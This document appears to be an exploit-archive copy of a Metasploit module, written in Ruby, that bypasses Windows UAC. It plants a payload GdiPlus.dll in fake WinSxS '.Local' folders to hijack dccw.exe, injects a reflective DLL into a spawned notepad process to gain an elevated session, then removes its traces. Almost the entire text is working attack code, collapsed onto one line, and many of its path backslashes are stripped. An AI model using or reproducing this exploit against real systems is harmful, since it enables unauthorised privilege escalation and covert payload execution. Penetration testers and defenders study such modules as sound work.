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Windows Escalate UAC Protection Bypass (In Memory Injection) Abusing WinSXS

Posted on 12 October 2017

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE include Exploit::FileDropper include Post::File include Post::Windows::Priv include Post::Windows::ReflectiveDLLInjection include Post::Windows::Runas def initialize(info={}) super( update_info( info, 'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS', 'Description' => %q{ This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off by abusing the way "WinSxS" works in Windows systems. This module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three seperate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). }, 'License' => MSF_LICENSE, 'Author' => [ 'Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://github.com/L3cr0f/DccwBypassUAC' ] ], 'DisclosureDate'=> 'Apr 06 2017' )) end def exploit # Validate that we can actually do things before we bother # doing any more work validate_environment! check_permissions! # Get all required environment variables in one shot instead. This # is a better approach because we don't constantly make calls through # the session to get the variables. env_vars = get_envs('TEMP', 'WINDIR') # Get UAC level so as to verify if the module will be successful case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end dll_path = bypass_dll_path payload_filepath = "#{env_vars['TEMP']}\dccw.exe.Local" # Establish the folder pattern so as to get those folders that match it sysarch = sysinfo['Architecture'] if sysarch == ARCH_X86 targetedDirectories = "C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_*" else targetedDirectories = "C:\Windows\WinSxS\amd64_microsoft.windows.gdiplus_*" end directoryNames = get_directories(payload_filepath, targetedDirectories) create_directories(payload_filepath, directoryNames) upload_payload_dll(payload_filepath, directoryNames) pid = spawn_inject_proc(env_vars['WINDIR']) file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath) run_injection(pid, dll_path, file_paths) end # Path to the bypassuac binary and architecture payload checking def bypass_dll_path path = ::File.join(Msf::Config.data_directory, 'post') sysarch = sysinfo['Architecture'] if sysarch == ARCH_X86 if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') else ::File.join(path, "bypassuac-x86.dll") end else unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System') else ::File.join(path, "bypassuac-x64.dll") end end end # Check if the compromised user matches some requirements def check_permissions! # Check if you are an admin vprint_status('Checking admin status...') admin_group = is_in_admin_group? if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end # Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation def run_injection(pid, dll_path, file_paths) vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") begin path_struct = create_struct(file_paths) vprint_status("Opening process #{pid}") host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) exploit_mem, offset = inject_dll_into_process(host_process, dll_path) vprint_status("Injecting struct into #{pid}") struct_addr = host_process.memory.allocate(path_struct.length) host_process.memory.write(struct_addr, path_struct) vprint_status('Executing payload') thread = host_process.thread.create(exploit_mem + offset, struct_addr) print_good("Successfully injected payload in to process: #{pid}") client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000) rescue Rex::Post::Meterpreter::RequestError => e print_error("Failed to Inject Payload to #{pid}!") vprint_error(e.to_s) end end # Create a process in the native architecture def spawn_inject_proc(win_dir) print_status('Spawning process with Windows Publisher Certificate, to inject into...') if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 cmd = "#{win_dir}\sysnative\notepad.exe" else cmd = "#{win_dir}\System32\notepad.exe" end pid = cmd_exec_get_pid(cmd) unless pid fail_with(Failure::Unknown, 'Spawning Process failed...') end pid end # Upload only one DLL, the rest will be copied into the specific folders def upload_payload_dll(payload_filepath, directoryNames) dllPath = "#{directoryNames[0]}\GdiPlus.dll" payload = generate_payload_dccw_gdiplus_dll({:dll_exitprocess => true}) print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded...") write_file(dllPath, payload) rescue Rex::Post::Meterpreter::RequestError => e fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}") end if directoryNames.size > 1 copy_payload_dll(directoryNames, dllPath) end end # Copy our DLL to all created folders, the first folder already have a copy of the DLL def copy_payload_dll(directoryNames, dllPath) 1.step(directoryNames.size - 1, 1) do |i| if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\GdiPlus.dll", false)['return'] == false print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...") end end end # Check if the environment is vulnerable to the exploit def validate_environment! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? winver = sysinfo['OS'] case winver when /Windows (8|10)/ print_good("#{winver} may be vulnerable.") else fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") end if is_uac_enabled? print_status('UAC is Enabled, checking level...') else unless is_in_admin_group? fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end end # Creating the necessary directories to perform the DLL hijacking # Since we don't know which path "dccw.exe" will choose, we create # all the directories that match with the initial pattern def create_directories(payload_filepath, directoryNames) env_vars = get_envs('TEMP') print_status("Creating temporary folders...") if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0 fail_with(Failure::Unknown, "Cannot create the directory "#{env_vars['TEMP']}dccw.exe.Local"") end directoryNames.each do |dirName| if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0 fail_with(Failure::Unknown, "Cannot create the directory "#{env_vars['TEMP']}dccw.exe.Local\#{dirName}"") end end end # Get all the directories that match with the initial pattern def get_directories(payload_filepath, targetedDirectories) directoryNames = [] findFileDataSize = 592 maxPath = client.railgun.const("MAX_PATH") fileNamePadding = 44 hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize) if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE") fail_with(Failure::Unknown, "Cannot get the targeted directories!") end findFileData = hFile['lpFindFileData'] moreFiles = true until moreFiles == false do fileAttributes = findFileData[0, 4].unpack('V').first andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY") if andOperation #Removes the remainder part composed of 'A' of the path and the last null character normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split('AAA')[0] path = "#{payload_filepath}\#{normalizedData[0, normalizedData.length - 1]}" directoryNames.push(path) end findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize) moreFiles = findNextFile['return'] findFileData = findNextFile['lpFindFileData'] end if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES") fail_with(Failure::Unknown, "Cannot get the targeted directories!") end directoryNames end # Store the necessary paths into a struct def get_file_paths(win_path, payload_filepath) paths = {} paths[:szElevDll] = 'dccw.exe.Local' paths[:szElevDir] = "#{win_path}\System32" paths[:szElevDirSysWow64] = "#{win_path}\sysnative" paths[:szElevExeFull] = "#{paths[:szElevDir]}\dccw.exe" paths[:szElevDllFull] = "#{paths[:szElevDir]}\#{paths[:szElevDll]}" paths[:szTempDllPath] = payload_filepath paths end # Creates the paths struct which contains all the required paths # the dll needs to copy/execute etc. def create_struct(paths) # Write each path to the structure in the order they # are defined in the bypass uac binary. struct = '' struct << fill_struct_path(paths[:szElevDir]) struct << fill_struct_path(paths[:szElevDirSysWow64]) struct << fill_struct_path(paths[:szElevDll]) struct << fill_struct_path(paths[:szElevDllFull]) struct << fill_struct_path(paths[:szElevExeFull]) struct << fill_struct_path(paths[:szTempDllPath]) struct end def fill_struct_path(path) path = Rex::Text.to_unicode(path) path + "x00" * (520 - path.length) end # When a new session is obtained, it removes the dropped elements (files and folders) def on_new_session(session) if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') end remove_dropped_elements(session) end # Remove all the created and dropped files and folders def remove_dropped_elements(session) droppedElements = [] env_vars = get_envs('TEMP', 'WINDIR') payload_filepath = "#{env_vars['TEMP']}\dccw.exe.Local" sysarch = sysinfo['Architecture'] if sysarch == ARCH_X86 targetedDirectories = "C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_*" else targetedDirectories = "C:\Windows\WinSxS\amd64_microsoft.windows.gdiplus_*" end directoryNames = get_directories(payload_filepath, targetedDirectories) file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath) # Remove all dropped elements (files and folders) remove_dlls(session, directoryNames, file_paths, droppedElements) remove_winsxs_folders(session, directoryNames, file_paths, droppedElements) remove_dot_local_folders(session, file_paths, droppedElements) # Check if the removal was successful removal_checking(droppedElements) end # Remove "GdiPlus.dll" from "C:\%TEMP%dccw.exe.Local*_microsoft.windows.gdiplus_*" # and "C:WindowsSystem32dccw.exe.Local*_microsoft.windows.gdiplus_*" def remove_dlls(session, directoryNames, file_paths, droppedElements) directoryNames.each do |dirName| directoryName = dirName.split("\").last begin droppedElements.push("#{dirName}\GdiPlus.dll") session.fs.file.rm("#{dirName}\GdiPlus.dll") rescue ::Rex::Post::Meterpreter::RequestError => e vprint_error("Error => #{e.class} - #{e}") end begin droppedElements.push("#{file_paths[:szElevDllFull]}\#{directoryName}\GdiPlus.dll") session.fs.file.rm("#{file_paths[:szElevDllFull]}\#{directoryName}\GdiPlus.dll") rescue ::Rex::Post::Meterpreter::RequestError => e vprint_error("Error => #{e.class} - #{e}") end end end # Remove folders from "C:\%TEMP%dccw.exe.Local" and "C:WindowsSystem32dccw.exe.Local" def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements) directoryNames.each do |dirName| directoryName = dirName.split("\").last begin droppedElements.push(dirName) session.fs.dir.rmdir(dirName) rescue ::Rex::Post::Meterpreter::RequestError => e vprint_error("Error => #{e.class} - #{e}") end begin droppedElements.push("#{file_paths[:szElevDllFull]}\#{directoryName}") session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\#{directoryName}") rescue ::Rex::Post::Meterpreter::RequestError => e vprint_error("Error => #{e.class} - #{e}") end end end # Remove "C:WindowsSystem32dccw.exe.Local" folder def remove_dot_local_folders(session, file_paths, droppedElements) begin droppedElements.push(file_paths[:szTempDllPath]) session.fs.dir.rmdir(file_paths[:szTempDllPath]) rescue ::Rex::Post::Meterpreter::RequestError => e vprint_error("Error => #{e.class} - #{e}") end begin droppedElements.push(file_paths[:szElevDllFull]) session.fs.dir.rmdir(file_paths[:szElevDllFull]) rescue ::Rex::Post::Meterpreter::RequestError => e vprint_error("Error => #{e.class} - #{e}") end end # Check if have been successfully removed def removal_checking(droppedElements) successfullyRemoved = true droppedElements.each do |element| begin stat = session.fs.file.stat(element) if stat print_error("Unable to delete #{element}!") successfullyRemoved = false end rescue ::Rex::Post::Meterpreter::RequestError => e vprint_error("Error => #{e.class} - #{e}") end end if successfullyRemoved print_good("All the dropped elements have been successfully removed") else print_warning("Could not delete some dropped elements! They will require manual cleanup on the target") end end end

 

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